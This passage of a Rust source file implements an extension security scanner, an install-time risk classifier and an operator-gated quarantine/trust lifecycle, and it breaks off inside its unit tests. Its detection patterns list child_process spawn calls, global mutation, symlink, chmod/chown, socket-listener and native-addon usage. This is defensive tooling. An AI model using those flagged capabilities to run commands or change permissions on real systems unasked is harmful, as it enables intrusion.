1947        "execSync(",
1948        "spawn(",
1949        "spawnSync(",
1950        "execFile(",
1951        "execFileSync(",
1952        "fork(",
1953    ];
1954    // Only flag when preceded by child_process context indicators.
1955    let has_cp_context =
1956        text.contains("child_process") || text.contains("cp.") || text.contains("childProcess");
1957
1958    if has_cp_context {
1959        return spawn_patterns.iter().any(|p| text.contains(p));
1960    }
1961
1962    // Also flag direct destructured usage: `const { exec } = require('child_process')`
1963    // is already covered by the context check. Check for standalone exec() that looks
1964    // like it comes from child_process (not general method calls).
1965    false
1966}
1967
1968/// Find column position for child_process spawn patterns.
1969fn find_child_process_column(text: &str) -> Option<usize> {
1970    for pattern in &[
1971        "execSync(",
1972        "execFileSync(",
1973        "spawnSync(",
1974        "execFile(",
1975        "spawn(",
1976        "exec(",
1977        "fork(",
1978    ] {
1979        if let Some(pos) = text.find(pattern) {
1980            return Some(pos + 1);
1981        }
1982    }
1983    None
1984}
1985
1986/// Detect `globalThis`/`global` property mutation (assignment, not just read).
1987fn contains_global_mutation(text: &str) -> bool {
1988    // Mutation patterns: assignment to globalThis.X or global.X
1989    let assignment_patterns = ["globalThis.", "global.", "globalThis["];
1990
1991    for pat in &assignment_patterns {
1992        for (pos, _) in text.match_indices(pat) {
1993            let after = &text[pos + pat.len()..];
1994            // Check if this is an assignment (has = but not == or ===)
1995            if let Some(eq_pos) = after.find('=') {
1996                let before_eq = &after[..eq_pos];
1997                let after_eq = &after[eq_pos..];
1998                // Not a comparison (==, ===) and not part of a longer identifier
1999                if !after_eq.starts_with("==")
2000                    && !before_eq.contains('(')
2001                    && !before_eq.contains(')')
2002                {
2003                    return true;
2004                }
2005            }
2006        }
2007    }
2008    false
2009}
2010
2011/// Detect `fs.symlink`/`fs.symlinkSync`/`fs.link`/`fs.linkSync`.
2012fn contains_symlink_creation(text: &str) -> bool {
2013    text.contains("fs.symlink(")
2014        || text.contains("fs.symlinkSync(")
2015        || text.contains("fs.link(")
2016        || text.contains("fs.linkSync(")
2017        || text.contains("symlinkSync(")
2018        || text.contains("linkSync(")
2019}
2020
2021/// Detect `fs.chmod`/`fs.chown` and their sync variants.
2022fn contains_permission_change(text: &str) -> bool {
2023    text.contains("fs.chmod(")
2024        || text.contains("fs.chmodSync(")
2025        || text.contains("fs.chown(")
2026        || text.contains("fs.chownSync(")
2027        || text.contains("fs.lchmod(")
2028        || text.contains("fs.lchown(")
2029        || text.contains("chmodSync(")
2030        || text.contains("chownSync(")
2031}
2032
2033/// Detect server/socket listener creation.
2034fn contains_socket_listener(text: &str) -> bool {
2035    text.contains("createServer(")
2036        || text.contains("createSocket(")
2037        || text.contains(".listen(")
2038            && (text.contains("server") || text.contains("http") || text.contains("net"))
2039}
2040
2041/// Detect `require()` of native addon files (.node, .so, .dylib).
2042fn contains_native_module_require(text: &str) -> bool {
2043    if !text.contains("require(") {
2044        return false;
2045    }
2046    let native_exts = [".node\"", ".node'", ".so\"", ".so'", ".dylib\"", ".dylib'"];
2047    native_exts.iter().any(|ext| text.contains(ext))
2048}
2049
2050/// Truncate a source snippet to a reasonable display length.
2051fn truncate_snippet(text: &str) -> String {
2052    const MAX_SNIPPET_LEN: usize = 200;
2053    if text.len() <= MAX_SNIPPET_LEN {
2054        text.to_string()
2055    } else {
2056        let mut end = 0;
2057        for (i, c) in text.char_indices() {
2058            if i >= MAX_SNIPPET_LEN {
2059                break;
2060            }
2061            end = i + c.len_utf8();
2062        }
2063        if end < text.len() {
2064            format!("{}...", &text[..end])
2065        } else {
2066            text.to_string()
2067        }
2068    }
2069}
2070
2071/// Collect JS/TS files from a path (file or directory).
2072fn collect_scannable_files(path: &Path) -> Vec<std::path::PathBuf> {
2073    if path.is_file() {
2074        return vec![path.to_path_buf()];
2075    }
2076    let mut files = Vec::new();
2077    if let Ok(entries) = std::fs::read_dir(path) {
2078        for entry in entries.flatten() {
2079            let p = entry.path();
2080            if p.is_dir() {
2081                // Skip node_modules and hidden dirs.
2082                let name = p.file_name().and_then(|n| n.to_str()).unwrap_or("");
2083                if name == "node_modules" || name.starts_with('.') {
2084                    continue;
2085                }
2086                files.extend(collect_scannable_files(&p));
2087            } else if p.is_file() {
2088                if let Some(ext) = p.extension().and_then(|e| e.to_str()) {
2089                    if matches!(
2090                        ext,
2091                        "js" | "ts" | "mjs" | "mts" | "cjs" | "cts" | "jsx" | "tsx"
2092                    ) {
2093                        files.push(p);
2094                    }
2095                }
2096            }
2097        }
2098    }
2099    files.sort();
2100    files
2101}
2102
2103/// Compute relative POSIX path from root to path.
2104fn relative_posix_path(root: &Path, path: &Path) -> String {
2105    path.strip_prefix(root)
2106        .unwrap_or(path)
2107        .to_string_lossy()
2108        .replace('\\', "/")
2109}
2110
2111/// Strip block comments for security scanning. Simpler than the full
2112/// compat scanner's `strip_js_comments` — we only need to track the
2113/// block comment state to avoid false positives.
2114fn strip_block_comment_tracking(line: &str, in_block: &mut bool) -> String {
2115    let mut result = String::with_capacity(line.len());
2116    let mut chars = line.chars().peekable();
2117
2118    while let Some(c) = chars.next() {
2119        if *in_block {
2120            if c == '*' && chars.peek() == Some(&'/') {
2121                chars.next(); // Consume '/'
2122                *in_block = false;
2123            }
2124        } else if c == '/' && chars.peek() == Some(&'*') {
2125            chars.next(); // Consume '*'
2126            *in_block = true;
2127        } else if c == '/' && chars.peek() == Some(&'/') {
2128            // Rest of line is comment.
2129            break;
2130        } else {
2131            result.push(c);
2132        }
2133    }
2134
2135    result
2136}
2137
2138// ============================================================================
2139// Install-time composite risk classifier (bd-21vng, SEC-2.3)
2140// ============================================================================
2141
2142/// Schema version for the install-time risk classification report.
2143pub const INSTALL_TIME_RISK_SCHEMA: &str = "pi.ext.install_risk.v1";
2144
2145/// Install-time recommendation.
2146#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
2147#[serde(rename_all = "snake_case")]
2148pub enum InstallRecommendation {
2149    /// Safe to install and load without further review.
2150    Allow,
2151    /// Install but flag for operator review before first run.
2152    Review,
2153    /// Block installation; active exploit vectors detected.
2154    Block,
2155}
2156
2157impl fmt::Display for InstallRecommendation {
2158    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
2159        match self {
2160            Self::Allow => f.write_str("ALLOW"),
2161            Self::Review => f.write_str("REVIEW"),
2162            Self::Block => f.write_str("BLOCK"),
2163        }
2164    }
2165}
2166
2167/// Composite install-time risk classification report that synthesizes signals
2168/// from both the compatibility preflight and the security scanner into a
2169/// single deterministic verdict.
2170///
2171/// The classification algorithm is purely functional: given the same
2172/// `PreflightReport` and `SecurityScanReport`, it always produces the
2173/// identical `InstallTimeRiskReport`. No randomness, no side effects.
2174#[derive(Debug, Clone, Serialize, Deserialize)]
2175pub struct InstallTimeRiskReport {
2176    /// Schema version.
2177    pub schema: String,
2178    /// Extension identifier.
2179    pub extension_id: String,
2180    /// Composite risk tier (worst-of across both reports).
2181    pub composite_risk_tier: RiskTier,
2182    /// Composite risk score (0 = maximum risk, 100 = clean).
2183    pub composite_risk_score: u8,
2184    /// Install recommendation derived from composite analysis.
2185    pub recommendation: InstallRecommendation,
2186    /// Human-readable one-line verdict.
2187    pub verdict: String,
2188    /// Compatibility preflight summary.
2189    pub preflight_summary: PreflightSummaryBrief,
2190    /// Security scan summary.
2191    pub security_summary: SecuritySummaryBrief,
2192    /// Rulebook version that produced the security findings.
2193    pub rulebook_version: String,
2194}
2195
2196/// Abbreviated preflight summary for embedding in the composite report.
2197#[derive(Debug, Clone, Serialize, Deserialize)]
2198pub struct PreflightSummaryBrief {
2199    pub verdict: PreflightVerdict,
2200    pub confidence: u8,
2201    pub errors: usize,
2202    pub warnings: usize,
2203}
2204
2205/// Abbreviated security summary for embedding in the composite report.
2206#[derive(Debug, Clone, Serialize, Deserialize)]
2207pub struct SecuritySummaryBrief {
2208    pub overall_tier: RiskTier,
2209    pub critical: usize,
2210    pub high: usize,
2211    pub medium: usize,
2212    pub low: usize,
2213    pub total_findings: usize,
2214}
2215
2216impl InstallTimeRiskReport {
2217    /// Build from a preflight report and a security scan report.
2218    ///
2219    /// The composite risk tier is the worst (lowest ordinal) tier from either
2220    /// report. The composite score is a weighted combination of the preflight
2221    /// confidence and the security finding severity.
2222    ///
2223    /// This function is pure and deterministic.
2224    #[must_use]
2225    pub fn classify(
2226        extension_id: &str,
2227        preflight: &PreflightReport,
2228        security: &SecurityScanReport,
2229    ) -> Self {
2230        let preflight_summary = PreflightSummaryBrief {
2231            verdict: preflight.verdict,
2232            confidence: preflight.confidence.value(),
2233            errors: preflight.summary.errors,
2234            warnings: preflight.summary.warnings,
2235        };
2236
2237        let security_summary = SecuritySummaryBrief {
2238            overall_tier: security.overall_tier,
2239            critical: security.tier_counts.critical,
2240            high: security.tier_counts.high,
2241            medium: security.tier_counts.medium,
2242            low: security.tier_counts.low,
2243            total_findings: security.findings.len(),
2244        };
2245
2246        // Composite risk tier: worst-of across both reports.
2247        // Map preflight verdict to a risk tier for comparison.
2248        let preflight_risk = match preflight.verdict {
2249            PreflightVerdict::Fail => RiskTier::High,
2250            PreflightVerdict::Warn => RiskTier::Medium,
2251            PreflightVerdict::Pass => RiskTier::Low,
2252        };
2253        let composite_risk_tier = preflight_risk.min(security.overall_tier);
2254
2255        // Composite risk score: 0 = maximum risk, 100 = clean.
2256        // Start from 100 and apply deductions.
2257        let security_deduction = security.tier_counts.critical.saturating_mul(30)
2258            + security.tier_counts.high.saturating_mul(20)
2259            + security.tier_counts.medium.saturating_mul(10)
2260            + security.tier_counts.low.saturating_mul(3);
2261        let preflight_deduction = preflight.summary.errors.saturating_mul(15)
2262            + preflight.summary.warnings.saturating_mul(5);
2263        let total_deduction = security_deduction + preflight_deduction;
2264        let composite_risk_score =
2265            u8::try_from(100_usize.saturating_sub(total_deduction).min(100)).unwrap_or(0);
2266
2267        // Recommendation: deterministic decision tree.
2268        let recommendation = match composite_risk_tier {
2269            RiskTier::Critical => InstallRecommendation::Block,
2270            RiskTier::High => InstallRecommendation::Review,
2271            RiskTier::Medium => {
2272                if composite_risk_score < 50 {
2273                    InstallRecommendation::Review
2274                } else {
2275                    InstallRecommendation::Allow
2276                }
2277            }
2278            RiskTier::Low => InstallRecommendation::Allow,
2279        };
2280
2281        let verdict = Self::format_verdict(
2282            recommendation,
2283            &preflight_summary,
2284            &security_summary,
2285            composite_risk_score,
2286        );
2287
2288        Self {
2289            schema: INSTALL_TIME_RISK_SCHEMA.to_string(),
2290            extension_id: extension_id.to_string(),
2291            composite_risk_tier,
2292            composite_risk_score,
2293            recommendation,
2294            verdict,
2295            preflight_summary,
2296            security_summary,
2297            rulebook_version: SECURITY_RULEBOOK_VERSION.to_string(),
2298        }
2299    }
2300
2301    fn format_verdict(
2302        recommendation: InstallRecommendation,
2303        preflight: &PreflightSummaryBrief,
2304        security: &SecuritySummaryBrief,
2305        score: u8,
2306    ) -> String {
2307        let sec_part = if security.total_findings == 0 {
2308            "no security findings".to_string()
2309        } else {
2310            let mut parts = Vec::new();
2311            if security.critical > 0 {
2312                parts.push(format!("{} critical", security.critical));
2313            }
2314            if security.high > 0 {
2315                parts.push(format!("{} high", security.high));
2316            }
2317            if security.medium > 0 {
2318                parts.push(format!("{} medium", security.medium));
2319            }
2320            if security.low > 0 {
2321                parts.push(format!("{} low", security.low));
2322            }
2323            parts.join(", ")
2324        };
2325
2326        let compat_part = match preflight.verdict {
2327            PreflightVerdict::Pass => "compatible".to_string(),
2328            PreflightVerdict::Warn => format!("{} compat warning(s)", preflight.warnings),
2329            PreflightVerdict::Fail => format!("{} compat error(s)", preflight.errors),
2330        };
2331
2332        format!("{recommendation}: score {score}/100 — {sec_part}; {compat_part}")
2333    }
2334
2335    /// Serialize to pretty JSON.
2336    ///
2337    /// # Errors
2338    ///
2339    /// Returns an error if serialization fails.
2340    pub fn to_json(&self) -> Result<String, serde_json::Error> {
2341        serde_json::to_string_pretty(self)
2342    }
2343
2344    /// Whether installation should be blocked.
2345    #[must_use]
2346    pub const fn should_block(&self) -> bool {
2347        matches!(self.recommendation, InstallRecommendation::Block)
2348    }
2349
2350    /// Whether manual review is recommended before first run.
2351    #[must_use]
2352    pub const fn needs_review(&self) -> bool {
2353        matches!(
2354            self.recommendation,
2355            InstallRecommendation::Block | InstallRecommendation::Review
2356        )
2357    }
2358}
2359
2360/// Convenience function: run both the preflight analyzer and security scanner
2361/// on raw source text and produce a composite install-time risk report.
2362///
2363/// This is the primary entry point for install-time risk classification.
2364#[must_use]
2365pub fn classify_extension_source(
2366    extension_id: &str,
2367    source: &str,
2368    policy: &ExtensionPolicy,
2369) -> InstallTimeRiskReport {
2370    let analyzer = PreflightAnalyzer::new(policy, Some(extension_id));
2371    let preflight = analyzer.analyze_source(extension_id, source);
2372    let security = SecurityScanner::scan_source(extension_id, source);
2373    InstallTimeRiskReport::classify(extension_id, &preflight, &security)
2374}
2375
2376/// Run both the preflight analyzer and security scanner on extension files
2377/// at a given path and produce a composite install-time risk report.
2378pub fn classify_extension_path(
2379    extension_id: &str,
2380    path: &Path,
2381    policy: &ExtensionPolicy,
2382) -> InstallTimeRiskReport {
2383    let analyzer = PreflightAnalyzer::new(policy, Some(extension_id));
2384    let preflight = analyzer.analyze(path);
2385    let security = SecurityScanner::scan_path(extension_id, path, path);
2386    InstallTimeRiskReport::classify(extension_id, &preflight, &security)
2387}
2388
2389// ============================================================================
2390// Quarantine-to-trust promotion lifecycle (bd-21nj4, SEC-2.4)
2391// ============================================================================
2392
2393/// Schema version for trust lifecycle transition events.
2394pub const TRUST_LIFECYCLE_SCHEMA: &str = "pi.ext.trust_lifecycle.v1";
2395
2396/// Extension trust lifecycle states.
2397///
2398/// The trust lifecycle is a strict state machine:
2399/// - `Quarantined` → `Restricted` (via promotion with operator acknowledgment)
2400/// - `Restricted` → `Trusted` (via promotion with operator acknowledgment)
2401/// - `Trusted` → `Quarantined` (via demotion, immediate)
2402/// - `Restricted` → `Quarantined` (via demotion, immediate)
2403///
2404/// Transitions always require an explicit reason and produce an audit event.
2405#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
2406#[serde(rename_all = "snake_case")]
2407pub enum ExtensionTrustState {
2408    /// Extension is fully quarantined: no dangerous hostcalls permitted.
2409    /// Default state for extensions with `Block` or `Review` install
2410    /// recommendations.
2411    Quarantined,
2412    /// Extension may execute read-only hostcalls but not write, exec, or
2413    /// network operations. Intermediate state requiring a second promotion
2414    /// to reach full trust.
2415    Restricted,
2416    /// Extension is fully trusted and may exercise all policy-allowed
2417    /// capabilities.
2418    Trusted,
2419}
2420
2421impl fmt::Display for ExtensionTrustState {
2422    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
2423        match self {
2424            Self::Quarantined => f.write_str("quarantined"),
2425            Self::Restricted => f.write_str("restricted"),
2426            Self::Trusted => f.write_str("trusted"),
2427        }
2428    }
2429}
2430
2431impl ExtensionTrustState {
2432    /// Whether the extension may execute dangerous hostcalls (write, exec,
2433    /// network, env).
2434    #[must_use]
2435    pub const fn allows_dangerous_hostcalls(self) -> bool {
2436        matches!(self, Self::Trusted)
2437    }
2438
2439    /// Whether the extension may execute read-only hostcalls (read, list,
2440    /// stat, tool registration).
2441    #[must_use]
2442    pub const fn allows_read_hostcalls(self) -> bool {
2443        matches!(self, Self::Restricted | Self::Trusted)
2444    }
2445
2446    /// Whether the extension is in quarantine and cannot execute any
2447    /// hostcalls beyond registration.
2448    #[must_use]
2449    pub const fn is_quarantined(self) -> bool {
2450        matches!(self, Self::Quarantined)
2451    }
2452}
2453
2454/// Direction of a trust state transition.
2455#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
2456#[serde(rename_all = "snake_case")]
2457pub enum TrustTransitionKind {
2458    /// Promote to a higher trust level.
2459    Promote,
2460    /// Demote to a lower trust level (quarantine).
2461    Demote,
2462}
2463
2464impl fmt::Display for TrustTransitionKind {
2465    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
2466        match self {
2467            Self::Promote => f.write_str("promote"),
2468            Self::Demote => f.write_str("demote"),
2469        }
2470    }
2471}
2472
2473/// A recorded trust state transition event for the audit trail.
2474#[derive(Debug, Clone, Serialize, Deserialize)]
2475pub struct TrustTransitionEvent {
2476    /// Schema version.
2477    pub schema: String,
2478    /// Extension identifier.
2479    pub extension_id: String,
2480    /// Previous trust state.
2481    pub from_state: ExtensionTrustState,
2482    /// New trust state.
2483    pub to_state: ExtensionTrustState,
2484    /// Direction of transition.
2485    pub kind: TrustTransitionKind,
2486    /// Human-readable reason for the transition.
2487    pub reason: String,
2488    /// Whether operator explicitly acknowledged this transition.
2489    pub operator_acknowledged: bool,
2490    /// Install-time risk score at time of transition (0-100).
2491    pub risk_score: Option<u8>,
2492    /// Install-time recommendation at time of transition.
2493    pub recommendation: Option<InstallRecommendation>,
2494    /// Timestamp (RFC 3339) of the transition.
2495    pub timestamp: String,
2496}
2497
2498impl TrustTransitionEvent {
2499    /// Serialize to JSON.
2500    ///
2501    /// # Errors
2502    ///
2503    /// Returns an error if serialization fails.
2504    pub fn to_json(&self) -> Result<String, serde_json::Error> {
2505        serde_json::to_string(self)
2506    }
2507}
2508
2509/// Errors that can occur during trust state transitions.
2510#[derive(Debug, Clone, PartialEq, Eq)]
2511pub enum TrustTransitionError {
2512    /// Attempted promotion without operator acknowledgment.
2513    OperatorAckRequired {
2514        from: ExtensionTrustState,
2515        to: ExtensionTrustState,
2516    },
2517    /// Attempted an invalid state transition (e.g., Quarantined → Trusted
2518    /// without passing through Restricted).
2519    InvalidTransition {
2520        from: ExtensionTrustState,
2521        to: ExtensionTrustState,
2522    },
2523    /// Extension's install-time risk score is too high for the target state.
2524    RiskTooHigh {
2525        target: ExtensionTrustState,
2526        risk_score: u8,
2527        max_allowed: u8,
2528    },
2529}
2530
2531impl fmt::Display for TrustTransitionError {
2532    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
2533        match self {
2534            Self::OperatorAckRequired { from, to } => {
2535                write!(
2536                    f,
2537                    "operator acknowledgment required to promote {from} → {to}"
2538                )
2539            }
2540            Self::InvalidTransition { from, to } => {
2541                write!(f, "invalid trust transition: {from} → {to}")
2542            }
2543            Self::RiskTooHigh {
2544                target,
2545                risk_score,
2546                max_allowed,
2547            } => {
2548                write!(
2549                    f,
2550                    "risk score {risk_score} exceeds maximum {max_allowed} for {target} state"
2551                )
2552            }
2553        }
2554    }
2555}
2556
2557/// Mutable trust lifecycle tracker for a single extension.
2558///
2559/// This struct manages the trust state machine and produces audit events
2560/// for every transition.
2561#[derive(Debug, Clone)]
2562pub struct ExtensionTrustTracker {
2563    extension_id: String,
2564    state: ExtensionTrustState,
2565    history: Vec<TrustTransitionEvent>,
2566}
2567
2568impl ExtensionTrustTracker {
2569    /// Create a new tracker with the given initial state.
2570    #[must_use]
2571    pub fn new(extension_id: &str, initial_state: ExtensionTrustState) -> Self {
2572        Self {
2573            extension_id: extension_id.to_string(),
2574            state: initial_state,
2575            history: Vec::new(),
2576        }
2577    }
2578
2579    /// Create a tracker with initial state derived from an install-time risk
2580    /// report.
2581    #[must_use]
2582    pub fn from_risk_report(report: &InstallTimeRiskReport) -> Self {
2583        let state = match report.recommendation {
2584            InstallRecommendation::Block | InstallRecommendation::Review => {
2585                ExtensionTrustState::Quarantined
2586            }
2587            InstallRecommendation::Allow => ExtensionTrustState::Trusted,
2588        };
2589        Self::new(&report.extension_id, state)
2590    }
2591
2592    /// Current trust state.
2593    #[must_use]
2594    pub const fn state(&self) -> ExtensionTrustState {
2595        self.state
2596    }
2597
2598    /// Extension identifier.
2599    #[must_use]
2600    pub fn extension_id(&self) -> &str {
2601        &self.extension_id
2602    }
2603
2604    /// Full transition history.
2605    #[must_use]
2606    pub fn history(&self) -> &[TrustTransitionEvent] {
2607        &self.history
2608    }
2609
2610    /// Attempt to promote the extension to the next trust level.
2611    ///
2612    /// Promotions must follow the strict path:
2613    /// `Quarantined` → `Restricted` → `Trusted`.
2614    ///
2615    /// Skipping levels (e.g., `Quarantined` → `Trusted`) is not allowed.
2616    ///
2617    /// # Errors
2618    ///
2619    /// Returns `TrustTransitionError` if:
2620    /// - `operator_ack` is false (promotions require explicit acknowledgment)
2621    /// - The extension is already `Trusted`
2622    /// - The risk score exceeds the threshold for the target state
2623    pub fn promote(
2624        &mut self,
2625        reason: &str,
2626        operator_ack: bool,
2627        risk_score: Option<u8>,
2628        recommendation: Option<InstallRecommendation>,
2629    ) -> Result<&TrustTransitionEvent, TrustTransitionError> {
2630        let target = match self.state {
2631            ExtensionTrustState::Quarantined => ExtensionTrustState::Restricted,
2632            ExtensionTrustState::Restricted => ExtensionTrustState::Trusted,
2633            ExtensionTrustState::Trusted => {
2634                return Err(TrustTransitionError::InvalidTransition {
2635                    from: self.state,
2636                    to: ExtensionTrustState::Trusted,
2637                });
2638            }
2639        };
2640
2641        if !operator_ack {
2642            return Err(TrustTransitionError::OperatorAckRequired {
2643                from: self.state,
2644                to: target,
2645            });
2646        }
2647
2648        // Risk threshold gate: Restricted requires score >= 30, Trusted
2649        // requires >= 50.
2650        if let Some(score) = risk_score {
2651            let max = match target {
2652                ExtensionTrustState::Restricted => 30,
2653                ExtensionTrustState::Trusted => 50,
2654                ExtensionTrustState::Quarantined => 0,
2655            };
2656            if score < max {
2657                return Err(TrustTransitionError::RiskTooHigh {
2658                    target,
2659                    risk_score: score,
2660                    max_allowed: max,
2661                });
2662            }
2663        }
2664
2665        let event = TrustTransitionEvent {
2666            schema: TRUST_LIFECYCLE_SCHEMA.to_string(),
2667            extension_id: self.extension_id.clone(),
2668            from_state: self.state,
2669            to_state: target,
2670            kind: TrustTransitionKind::Promote,
2671            reason: reason.to_string(),
2672            operator_acknowledged: true,
2673            risk_score,
2674            recommendation,
2675            timestamp: now_rfc3339(),
2676        };
2677
2678        self.state = target;
2679        self.history.push(event);
2680        Ok(self.history.last().unwrap())
2681    }
2682
2683    /// Demote the extension back to quarantine.
2684    ///
2685    /// Demotions are always allowed and do not require operator
2686    /// acknowledgment. They are immediate and unconditional.
2687    ///
2688    /// # Errors
2689    ///
2690    /// Returns `TrustTransitionError::InvalidTransition` if the extension is
2691    /// already quarantined.
2692    pub fn demote(&mut self, reason: &str) -> Result<&TrustTransitionEvent, TrustTransitionError> {
2693        if self.state == ExtensionTrustState::Quarantined {
2694            return Err(TrustTransitionError::InvalidTransition {
2695                from: self.state,
2696                to: ExtensionTrustState::Quarantined,
2697            });
2698        }
2699
2700        let event = TrustTransitionEvent {
2701            schema: TRUST_LIFECYCLE_SCHEMA.to_string(),
2702            extension_id: self.extension_id.clone(),
2703            from_state: self.state,
2704            to_state: ExtensionTrustState::Quarantined,
2705            kind: TrustTransitionKind::Demote,
2706            reason: reason.to_string(),
2707            operator_acknowledged: false,
2708            risk_score: None,
2709            recommendation: None,
2710            timestamp: now_rfc3339(),
2711        };
2712
2713        self.state = ExtensionTrustState::Quarantined;
2714        self.history.push(event);
2715        Ok(self.history.last().unwrap())
2716    }
2717
2718    /// Export the full transition history as JSONL.
2719    ///
2720    /// # Errors
2721    ///
2722    /// Returns an error if serialization fails.
2723    pub fn history_jsonl(&self) -> Result<String, serde_json::Error> {
2724        let mut out = String::new();
2725        for (i, event) in self.history.iter().enumerate() {
2726            if i > 0 {
2727                out.push('\n');
2728            }
2729            out.push_str(&serde_json::to_string(event)?);
2730        }
2731        Ok(out)
2732    }
2733}
2734
2735/// Determine the initial trust state for a newly installed extension
2736/// based on its install-time risk report.
2737#[must_use]
2738pub const fn initial_trust_state(report: &InstallTimeRiskReport) -> ExtensionTrustState {
2739    match report.recommendation {
2740        InstallRecommendation::Block | InstallRecommendation::Review => {
2741            ExtensionTrustState::Quarantined
2742        }
2743        InstallRecommendation::Allow => ExtensionTrustState::Trusted,
2744    }
2745}
2746
2747/// Check whether a hostcall category is allowed for the given trust state.
2748///
2749/// Dangerous categories (write, exec, env, http) require `Trusted` state.
2750/// Read-only categories (read, list, stat, tool) require at least `Restricted`.
2751/// Registration-only operations (register tool/slash_command) are always
2752/// allowed.
2753#[must_use]
2754#[allow(clippy::match_same_arms)] // Explicit dangerous-category arm kept for documentation
2755pub fn is_hostcall_allowed_for_trust(
2756    trust_state: ExtensionTrustState,
2757    hostcall_category: &str,
2758) -> bool {
2759    match hostcall_category {
2760        // Always allowed (registration).
2761        "register" | "tool" | "slash_command" | "shortcut" | "flag" | "event_hook" | "log" => true,
2762        // Read-only: requires at least Restricted.
2763        "read" | "list" | "stat" | "session_read" | "ui" => trust_state.allows_read_hostcalls(),
2764        // Dangerous: requires Trusted.
2765        "write" | "exec" | "env" | "http" | "session_write" | "fs_write" | "fs_delete"
2766        | "fs_mkdir" => trust_state.allows_dangerous_hostcalls(),
2767        // Unknown categories default to requiring Trusted.
2768        _ => trust_state.allows_dangerous_hostcalls(),
2769    }
2770}
2771
2772fn now_rfc3339() -> String {
2773    chrono::Utc::now().to_rfc3339_opts(chrono::SecondsFormat::Millis, true)
2774}
2775
2776// ============================================================================
2777// Tests
2778// ============================================================================
2779
2780#[cfg(test)]
2781mod tests {
2782    use super::*;
2783    use crate::extensions::ExtensionPolicy;
2784
2785    // ---- ModuleSupport ----
2786
2787    #[test]
2788    fn module_support_severity_mapping() {
2789        assert_eq!(ModuleSupport::Real.severity(), FindingSeverity::Info);
2790        assert_eq!(ModuleSupport::Partial.severity(), FindingSeverity::Warning);
2791        assert_eq!(ModuleSupport::Stub.severity(), FindingSeverity::Warning);
2792        assert_eq!(ModuleSupport::ErrorThrow.severity(), FindingSeverity::Error);
2793        assert_eq!(ModuleSupport::Missing.severity(), FindingSeverity::Error);
2794    }
2795
2796    #[test]
2797    fn module_support_display() {
2798        assert_eq!(format!("{}", ModuleSupport::Real), "fully supported");
2799        assert_eq!(format!("{}", ModuleSupport::Missing), "not available");
2800    }
2801
2802    #[test]
2803    fn module_support_serde_roundtrip() {
2804        for variant in [
2805            ModuleSupport::Real,
2806            ModuleSupport::Partial,
2807            ModuleSupport::Stub,
2808            ModuleSupport::ErrorThrow,
2809            ModuleSupport::Missing,
2810        ] {
2811            let json = serde_json::to_string(&variant).unwrap();
2812            let back: ModuleSupport = serde_json::from_str(&json).unwrap();
2813            assert_eq!(variant, back);
2814        }
2815    }
2816
2817    // ---- FindingSeverity ordering ----
2818
2819    #[test]
2820    fn severity_ordering() {
2821        assert!(FindingSeverity::Info < FindingSeverity::Warning);
2822        assert!(FindingSeverity::Warning < FindingSeverity::Error);
2823    }
2824
2825    // ---- known_module_support ----
2826
2827    #[test]
2828    fn known_modules_p0_are_real() {
2829        assert_eq!(known_module_support("path"), Some(ModuleSupport::Real));
2830        assert_eq!(known_module_support("node:path"), Some(ModuleSupport::Real));
2831        assert_eq!(known_module_support("os"), Some(ModuleSupport::Real));
2832        assert_eq!(known_module_support("node:os"), Some(ModuleSupport::Real));
2833        assert_eq!(known_module_support("fs"), Some(ModuleSupport::Real));
2834        assert_eq!(known_module_support("node:fs"), Some(ModuleSupport::Real));
2835        assert_eq!(
2836            known_module_support("child_process"),
2837            Some(ModuleSupport::Real)
2838        );
2839    }
2840
2841    #[test]
2842    fn known_modules_fs_promises_partial() {
2843        assert_eq!(
2844            known_module_support("node:fs/promises"),
2845            Some(ModuleSupport::Partial)
2846        );
2847        assert_eq!(
2848            known_module_support("fs/promises"),
2849            Some(ModuleSupport::Partial)
2850        );
2851    }
2852
2853    #[test]
2854    fn known_modules_error_throw() {
2855        assert_eq!(
2856            known_module_support("node:net"),
2857            Some(ModuleSupport::ErrorThrow)
2858        );
2859        assert_eq!(
2860            known_module_support("node:tls"),
2861            Some(ModuleSupport::ErrorThrow)
2862        );
2863        assert_eq!(known_module_support("dns"), Some(ModuleSupport::ErrorThrow));
2864    }
2865
2866    #[test]
2867    fn known_modules_stubs() {
2868        assert_eq!(known_module_support("zlib"), Some(ModuleSupport::Stub));
2869        assert_eq!(known_module_support("node:vm"), Some(ModuleSupport::Stub));
2870        assert_eq!(known_module_support("chokidar"), Some(ModuleSupport::Stub));
2871    }
2872
2873    #[test]
2874    fn unknown_module_returns_none() {
2875        assert_eq!(known_module_support("my-custom-lib"), None);
2876        assert_eq!(known_module_support("./relative"), None);
2877    }
2878
2879    // ---- module_remediation ----
2880
2881    #[test]
2882    fn remediation_for_real_is_none() {
2883        assert!(module_remediation("path", ModuleSupport::Real).is_none());
2884    }
2885
2886    #[test]
2887    fn remediation_for_net_error_throw() {
2888        let r = module_remediation("node:net", ModuleSupport::ErrorThrow);
2889        assert!(r.is_some());
2890        assert!(r.unwrap().contains("fetch()"));
2891    }
2892
2893    #[test]
2894    fn remediation_for_fs_promises_partial() {
2895        let r = module_remediation("fs/promises", ModuleSupport::Partial);
2896        assert!(r.is_some());
2897        assert!(r.unwrap().contains("synchronous"));
2898    }
2899
2900    // ---- extract helpers ----
2901
2902    #[test]
2903    fn extract_specifier_from_message_works() {
2904        let msg = "import of unsupported builtin `node:vm`";
2905        assert_eq!(
2906            extract_specifier_from_message(msg),
2907            Some("node:vm".to_string())
2908        );
2909    }
2910
2911    #[test]
2912    fn extract_specifier_from_message_none() {
2913        assert_eq!(extract_specifier_from_message("no backticks"), None);
2914    }
2915
2916    #[test]
2917    fn extract_import_specifiers_simple_import() {
2918        let specs = extract_import_specifiers_simple("import fs from 'node:fs';");
2919        assert_eq!(specs, vec!["node:fs"]);
2920    }
2921
2922    #[test]
2923    fn extract_import_specifiers_simple_require() {
2924        let specs = extract_import_specifiers_simple("const fs = require('fs');");
2925        assert_eq!(specs, vec!["fs"]);
2926    }
2927
2928    #[test]
2929    fn extract_import_specifiers_skips_relative() {
